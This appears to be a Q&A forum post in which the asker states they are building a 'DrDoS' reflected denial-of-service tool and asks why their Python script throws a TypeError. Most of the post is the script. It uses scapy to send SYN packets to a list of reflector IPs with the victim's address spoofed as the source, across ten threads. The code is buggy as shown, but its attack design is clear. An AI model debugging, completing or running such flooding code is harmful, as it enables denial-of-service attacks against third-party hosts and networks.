title: Python TypeError: 'str' object is not callable
body: <p>I am trying to make a DrDoS program in python but I keep getting</p>
  
  <blockquote>
    <p>TypeError: 'str' object is not callable</p>
  </blockquote>
  
  <p>here is my code</p>
  
  <pre><code>import os
  import sys
  import threading
  from scapy.all import *
  from time import sleep
  
  if os.getgid()!=0:
  print "Cannot send SYN packets without root, exiting..."
  exit(1)
  
  list=raw_input("List of live IPs: ")
  target=raw_input("Target: ")
  port=int(raw_input("Port: "))
  
  print "Flooding, press ^Z to stop."
  
  class SYNFlood(threading.Thread):
   def run(self):
      c=0
      with open(list, "r") as f:
          IP = f.readline()
          a=IP(dst=IP, src=target, ttl=255)/TCP(flags="S", sport=RandShort(), dport=port)
          send(a, verbose=0)
          sys.stdout.write('.')
          c=c+1
      print "Done, sent " + str(c) + " packets."
      exit(0)
  
  for x in range(10):
  t = SYNFlood()
  t.start()
  </code></pre>
  
  <p>I did do some research and found this is from a variable that has the name 'str' I  have not found this. Interesting.</p>
